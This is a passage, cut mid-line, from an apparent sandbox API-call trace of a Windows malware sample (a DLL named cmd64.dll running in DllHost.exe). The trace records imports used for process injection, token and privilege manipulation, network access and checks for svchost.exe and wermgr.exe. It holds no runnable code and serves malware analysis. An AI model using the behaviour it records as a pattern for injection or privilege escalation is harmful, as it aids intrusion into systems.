List.Blink=0xfffff80002a5ed10, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa80038b9010), QueueType=0x1 | out: WorkItem=0xfffffa80038b9010*(List.Flink=0x0, List.Blink=0xfffff80002a5ed10, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa80038b9010)) [0096.594] KeWaitForMutexObject () returned 0x0 [0096.789] ExFreePoolWithTag (P=0xfffffa80038b9010, Tag=0x0) [0096.790] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.794] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.795] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ole32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.795] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.796] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.796] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.797] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.797] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.801] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imm32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.801] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msctf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.805] LoadLibraryExA (lpLibFileName="KERNEL32", hFile=0x0, dwFlags=0x0) returned 0x77a30000 [0096.811] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0096.811] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0096.811] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x0) returned 0x77c50000 [0096.812] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0096.812] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefef80000 [0096.812] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wininet.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.812] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shlwapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.812] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\advapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.813] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sechost.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.814] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\urlmon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.849] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\oleaut32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.849] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\crypt32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.849] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msasn1.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.850] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\iertutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.858] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0096.858] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff4f0000 [0096.858] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0096.858] LoadLibraryExA (lpLibFileName="imagehlp.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffb50000 [0096.858] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imagehlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.859] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0096.859] LoadLibraryExA (lpLibFileName="PSAPI.DLL", hFile=0x0, dwFlags=0x0) returned 0x77e20000 [0096.859] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\psapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.860] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0096.860] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefed20000 [0096.860] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0096.861] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x77b50000 [0096.861] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0096.861] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff940000 [0096.861] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0096.863] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x77a30000 [0096.863] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualProtect") returned 0x77a32ef0 [0096.863] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x2aeee8 | out: lpflOldProtect=0x2aeee8*=0x40) returned 1 [0096.863] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x40, lpflOldProtect=0x2aeee8 | out: lpflOldProtect=0x2aeee8*=0x4) returned 1 [0096.863] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c50000 [0096.863] GetProcAddress (hModule=0x77c50000, lpProcName="_strlwr") returned 0x77cd8fb0 [0096.863] GetProcAddress (hModule=0x77c50000, lpProcName="RtlTimeToSecondsSince1970") returned 0x77c67c30 [0096.863] GetProcAddress (hModule=0x77c50000, lpProcName="RtlRandom") returned 0x77cf4a40 [0096.863] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageDirectoryEntryToData") returned 0x77c80950 [0096.863] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageNtHeader") returned 0x77c7ecb0 [0096.863] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAllocateVirtualMemory") returned 0x77ca1490 [0096.863] GetProcAddress (hModule=0x77c50000, lpProcName="ZwFreeVirtualMemory") returned 0x77ca14f0 [0096.863] GetProcAddress (hModule=0x77c50000, lpProcName="sscanf") returned 0x77cda974 [0096.863] GetProcAddress (hModule=0x77c50000, lpProcName="_snwprintf") returned 0x77cd8b8c [0096.863] GetProcAddress (hModule=0x77c50000, lpProcName="_stricmp") returned 0x77c8c5ec [0096.863] GetProcAddress (hModule=0x77c50000, lpProcName="RtlEqualUnicodeString") returned 0x77ca59a0 [0096.863] GetProcAddress (hModule=0x77c50000, lpProcName="ZwQuerySystemInformation") returned 0x77ca1670 [0096.863] GetProcAddress (hModule=0x77c50000, lpProcName="ZwSetInformationToken") returned 0x77ca2920 [0096.864] GetProcAddress (hModule=0x77c50000, lpProcName="ZwDuplicateToken") returned 0x77ca1730 [0096.864] GetProcAddress (hModule=0x77c50000, lpProcName="ZwClose") returned 0x77ca1400 [0096.864] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAdjustPrivilegesToken") returned 0x77ca1720 [0096.864] GetProcAddress (hModule=0x77c50000, lpProcName="ZwOpenProcessToken") returned 0x77ca22d0 [0096.864] GetProcAddress (hModule=0x77c50000, lpProcName="strstr") returned 0x77cdac00 [0096.864] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0096.864] GetProcAddress (hModule=0x77c50000, lpProcName="sprintf") returned 0x77cda738 [0096.864] GetProcAddress (hModule=0x77c50000, lpProcName="strncat") returned 0x77c9fc40 [0096.864] GetProcAddress (hModule=0x77c50000, lpProcName="strchr") returned 0x77c7c900 [0096.864] GetProcAddress (hModule=0x77c50000, lpProcName="strrchr") returned 0x77cdab0c [0096.864] GetProcAddress (hModule=0x77c50000, lpProcName="ispunct") returned 0x77cd8620 [0096.864] GetProcAddress (hModule=0x77c50000, lpProcName="isalnum") returned 0x77cd8644 [0096.864] GetProcAddress (hModule=0x77c50000, lpProcName="strncpy") returned 0x77c9fec0 [0096.864] GetProcAddress (hModule=0x77c50000, lpProcName="RtlComputeCrc32") returned 0x77c5c7b0 [0096.864] GetProcAddress (hModule=0x77c50000, lpProcName="_snprintf") returned 0x77cd8ae0 [0096.864] GetProcAddress (hModule=0x77c50000, lpProcName="memcmp") returned 0x77c9ea60 [0096.864] GetProcAddress (hModule=0x77c50000, lpProcName="__chkstk") returned 0x77ca0dd0 [0096.864] GetProcAddress (hModule=0x77c50000, lpProcName="strncmp") returned 0x77c9fdf0 [0096.865] GetProcAddress (hModule=0x77c50000, lpProcName="atoi") returned 0x77c565e4 [0096.865] GetProcAddress (hModule=0x77c50000, lpProcName="memset") returned 0x77ca2ed0 [0096.865] GetProcAddress (hModule=0x77c50000, lpProcName="memcpy") returned 0x77c9e6d0 [0096.865] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x7fefef80000 [0096.865] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetReadFile") returned 0x7fefef93914 [0096.865] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpQueryInfoW") returned 0x7fefefb4600 [0096.865] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetSetOptionW") returned 0x7fefef8ff20 [0096.865] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetQueryOptionW") returned 0x7fefefa1ab8 [0096.865] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpSendRequestA") returned 0x7fefefff600 [0096.865] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpOpenRequestA") returned 0x7fefefb3910 [0096.865] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetConnectA") returned 0x7fefefb3130 [0096.865] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0096.865] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCloseHandle") returned 0x7fefef95594 [0096.865] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCrackUrlA") returned 0x7fefefe0b4c [0096.865] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x7feff4f0000 [0096.865] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0096.865] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SHGetValueA") returned 0x7feff4f4e50 [0096.865] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindFileNameA") returned 0x7feff4f86c4 [0096.866] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveBackslashA") returned 0x7feff519e70 [0096.866] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindExtensionA") returned 0x7feff51b358 [0096.866] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFileExistsA") returned 0x7feff51b4d4 [0096.866] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathAppendA") returned 0x7feff4f5710 [0096.866] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveFileSpecA") returned 0x7feff51bbb4 [0096.866] GetModuleHandleA (lpModuleName="imagehlp.dll") returned 0x7feffb50000 [0096.866] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0096.866] GetModuleHandleA (lpModuleName="PSAPI.DLL") returned 0x77e20000 [0096.866] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0096.866] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x77a30000 [0096.866] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileA") returned 0x77a531f0 [0096.866] GetProcAddress (hModule=0x77a30000, lpProcName="SystemTimeToFileTime") returned 0x77a53560 [0096.866] GetProcAddress (hModule=0x77a30000, lpProcName="GetVersionExA") returned 0x77a470c0 [0096.866] GetProcAddress (hModule=0x77a30000, lpProcName="GetLocaleInfoA") returned 0x77a40210 [0096.866] GetProcAddress (hModule=0x77a30000, lpProcName="GetWindowsDirectoryA") returned 0x77a7bfb0 [0096.866] GetProcAddress (hModule=0x77a30000, lpProcName="GetTickCount") returned 0x77a52b00 [0096.866] GetProcAddress (hModule=0x77a30000, lpProcName="GetCommandLineA") returned 0x77a51e70 [0096.866] GetProcAddress (hModule=0x77a30000, lpProcName="SetUnhandledExceptionFilter") returned 0x77a49b70 [0096.867] GetProcAddress (hModule=0x77a30000, lpProcName="LocalFree") returned 0x77a447a0 [0096.867] GetProcAddress (hModule=0x77a30000, lpProcName="SetWaitableTimer") returned 0x77a38890 [0096.867] GetProcAddress (hModule=0x77a30000, lpProcName="CreateWaitableTimerA") returned 0x77a90da0 [0096.867] GetProcAddress (hModule=0x77a30000, lpProcName="CreateThread") returned 0x77a46580 [0096.867] GetProcAddress (hModule=0x77a30000, lpProcName="CopyFileA") returned 0x77ac5620 [0096.867] GetProcAddress (hModule=0x77a30000, lpProcName="UnmapViewOfFile") returned 0x77a53580 [0096.867] GetProcAddress (hModule=0x77a30000, lpProcName="MapViewOfFile") returned 0x77a3e390 [0096.867] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileMappingA") returned 0x77a3ead0 [0096.867] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0096.867] GetProcAddress (hModule=0x77a30000, lpProcName="RemoveDirectoryA") returned 0x77a7bdb0 [0096.867] GetProcAddress (hModule=0x77a30000, lpProcName="DeleteFileA") returned 0x77a414e0 [0096.867] GetProcAddress (hModule=0x77a30000, lpProcName="CreateDirectoryA") returned 0x77a7c5b0 [0096.867] GetProcAddress (hModule=0x77a30000, lpProcName="GetTempPathA") returned 0x77a92060 [0096.867] GetProcAddress (hModule=0x77a30000, lpProcName="ExitProcess") returned 0x77c740f0 [0096.867] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemTimeAsFileTime") returned 0x77a43f40 [0096.867] GetProcAddress (hModule=0x77a30000, lpProcName="LoadLibraryA") returned 0x77a47070 [0096.867] GetProcAddress (hModule=0x77a30000, lpProcName="OpenProcess") returned 0x77a4cad0 [0096.867] GetProcAddress (hModule=0x77a30000, lpProcName="OpenMutexA") returned 0x77a32ce0 [0096.868] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemInfo") returned 0x77a46f70 [0096.868] GetProcAddress (hModule=0x77a30000, lpProcName="QueueUserWorkItem") returned 0x77a41370 [0096.868] GetProcAddress (hModule=0x77a30000, lpProcName="Sleep") returned 0x77a52b70 [0096.868] GetProcAddress (hModule=0x77a30000, lpProcName="TerminateProcess") returned 0x77a7bca0 [0096.868] GetProcAddress (hModule=0x77a30000, lpProcName="ResumeThread") returned 0x77a413a0 [0096.868] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64SetThreadContext") returned 0x77a7af70 [0096.868] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64GetThreadContext") returned 0x77a7afa0 [0096.868] GetProcAddress (hModule=0x77a30000, lpProcName="WriteProcessMemory") returned 0x77a7bad0 [0096.868] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAllocEx") returned 0x77a7bbd0 [0096.868] GetProcAddress (hModule=0x77a30000, lpProcName="CreateProcessA") returned 0x77ac8840 [0096.868] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleFileNameA") returned 0x77a464a0 [0096.868] GetProcAddress (hModule=0x77a30000, lpProcName="LeaveCriticalSection") returned 0x77ca3000 [0096.868] GetProcAddress (hModule=0x77a30000, lpProcName="EnterCriticalSection") returned 0x77ca2fc0 [0096.868] GetProcAddress (hModule=0x77a30000, lpProcName="HeapCreate") returned 0x77a470e0 [0096.868] GetProcAddress (hModule=0x77a30000, lpProcName="HeapDestroy") returned 0x77a41490 [0096.868] GetProcAddress (hModule=0x77a30000, lpProcName="HeapAlloc") returned 0x77ca33a0 [0096.868] GetProcAddress (hModule=0x77a30000, lpProcName="HeapReAlloc") returned 0x77c83f20 [0096.868] GetProcAddress (hModule=0x77a30000, lpProcName="HeapFree") returned 0x77a53070 [0096.869] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAlloc") returned 0x77a467a0 [0096.869] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualFree") returned 0x77a41260 [0096.869] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0096.869] GetProcAddress (hModule=0x77a30000, lpProcName="CreateMutexA") returned 0x77a47210 [0096.869] GetProcAddress (hModule=0x77a30000, lpProcName="GetLastError") returned 0x77a52dd0 [0096.869] GetProcAddress (hModule=0x77a30000, lpProcName="WaitForSingleObject") returned 0x77a52b20 [0096.869] GetProcAddress (hModule=0x77a30000, lpProcName="ReleaseMutex") returned 0x77a52b90 [0096.869] GetProcAddress (hModule=0x77a30000, lpProcName="WritePrivateProfileStringA") returned 0x77ab16b0 [0096.869] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileStringA") returned 0x77ab1720 [0096.869] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileIntA") returned 0x77ab18b0 [0096.869] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileSectionA") returned 0x77ab1600 [0096.869] GetProcAddress (hModule=0x77a30000, lpProcName="InitializeCriticalSection") returned 0x77c78100 [0096.869] GetProcAddress (hModule=0x77a30000, lpProcName="GetFileSize") returned 0x77a3f9d0 [0096.869] GetProcAddress (hModule=0x77a30000, lpProcName="CloseHandle") returned 0x77a52f80 [0096.869] GetProcAddress (hModule=0x77a30000, lpProcName="ReadFile") returned 0x77a41500 [0096.869] GetProcAddress (hModule=0x77a30000, lpProcName="WriteFile") returned 0x77a535a0 [0096.869] GetProcAddress (hModule=0x77a30000, lpProcName="SetEndOfFile") returned 0x77a7bd70 [0096.869] GetProcAddress (hModule=0x77a30000, lpProcName="FlushFileBuffers") returned 0x77a369f0 [0096.869] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x7fefed20000 [0096.870] GetProcAddress (hModule=0x7fefed20000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x7fefed32040 [0096.870] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0096.870] GetProcAddress (hModule=0x7fefed20000, lpProcName="GetSecurityDescriptorSacl") returned 0x7fefed31e00 [0096.870] GetProcAddress (hModule=0x7fefed20000, lpProcName="CreateProcessAsUserA") returned 0x7fefed6a1a0 [0096.870] GetProcAddress (hModule=0x7fefed20000, lpProcName="AdjustTokenPrivileges") returned 0x7fefed3b9b0 [0096.870] GetProcAddress (hModule=0x7fefed20000, lpProcName="LookupPrivilegeValueA") returned 0x7fefed21a00 [0096.870] GetProcAddress (hModule=0x7fefed20000, lpProcName="OpenProcessToken") returned 0x7fefed3bd70 [0096.870] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x77b50000 [0096.870] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0096.870] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7feff940000 [0096.870] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0096.872] PathRemoveFileSpecA (in: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c") returned 1 [0096.872] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1e310, nSize=0x3ff | out: lpFilename="C:\\Windows\\system32\\DllHost.exe") returned 0x1f [0096.872] PathFindFileNameA (pszPath="C:\\Windows\\system32\\DllHost.exe") returned="DllHost.exe" [0096.872] GetCommandLineA () returned="C:\\Windows\\system32\\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}" [0096.872] _strcmpi (_Str1="DllHost.exe", _Str2="svchost.exe") returned -15 [0096.872] StrStrIA (lpFirst="DllHost.exe", lpSrch="wermgr.exe") returned 0x0 [0096.873] HeapDestroy (hHeap=0x1df0000) returned 1 [0096.876] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptbase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.878] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\clbcatq.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.240] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptsp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.245] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rsaenh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.247] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\RpcRtRemote.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 335 os_tid = 0x560 Thread: id = 338 os_tid = 0x570 Thread: id = 343 os_tid = 0x588 [0100.919] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\setupapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.920] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cfgmgr32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.920] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\devobj.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 344 os_tid = 0x58c Thread: id = 345 os_tid = 0x590 [0097.569] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\uxtheme.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.966] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\thumbcache.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.966] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shell32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.967] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.968] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\propsys.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.883] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\actxprxy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.896] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.908] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ntmarta.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.909] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\Wldap32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.979] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\apphelp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.983] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff8800280e6a0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c01000 [0100.983] IdePortDispatch () returned 0x103 [0100.994] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c03000 [0100.994] IdePortDispatch () returned 0x103 [0100.994] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c07000 [0100.994] IdePortDispatch () returned 0x103 [0100.996] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c0c000 [0100.996] IdePortDispatch () returned 0x103 [0101.006] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\mf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0101.007] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c12000 [0101.007] IdePortDispatch () returned 0x103 [0101.007] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c16000 [0101.007] IdePortDispatch () returned 0x103 [0101.008] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c1e000 [0101.008] IdePortDispatch () returned 0x103 [0101.008] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\atl.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0101.009] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\mfplat.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0101.009] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ws2_32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0101.009] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\nsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0101.010] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\avrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0101.010] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\version.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0101.011] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ksuser.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0101.012] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c3d000 [0101.012] IdePortDispatch () returned 0x103 [0101.029] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c45000 [0101.029] IdePortDispatch () returned 0x103 [0101.029] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c4d000 [0101.029] IdePortDispatch () returned 0x103 [0101.030] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c57000 [0101.030] IdePortDispatch () returned 0x103 [0101.030] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c5f000 [0101.030] IdePortDispatch () returned 0x103 